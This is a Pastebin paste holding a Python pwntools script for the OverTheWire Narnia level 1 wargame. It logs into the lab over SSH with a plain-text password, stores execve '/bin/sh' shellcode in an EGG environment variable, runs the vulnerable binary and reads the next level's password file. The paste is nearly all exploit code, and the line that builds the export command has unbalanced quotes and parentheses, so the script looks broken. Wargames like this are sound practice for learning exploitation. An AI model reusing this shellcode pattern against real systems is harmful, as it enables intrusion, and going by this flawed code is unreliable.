Advertisement
Guest User

Untitled

a guest
Mar 9th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. from pwn import *
  2.  
  3. shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
  4.  
  5. s = ssh(user='narnia1', host='narnia.labs.overthewire.org', password='efeidiedae', port=2226)
  6. sh = s.run('/narnia/narnia1')
  7. sh.sendline("export EGG=$(python -c" + "'" +"print" + shellcode)
  8. sh.sendline('echo $EGG')
  9. sh = s.run('/narnia/narnia1')
  10. sh.sendline('cat /etc/narnia_pass/narnia2')
  11. output = sh.recvline(1024)
  12. print(output)
  13. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement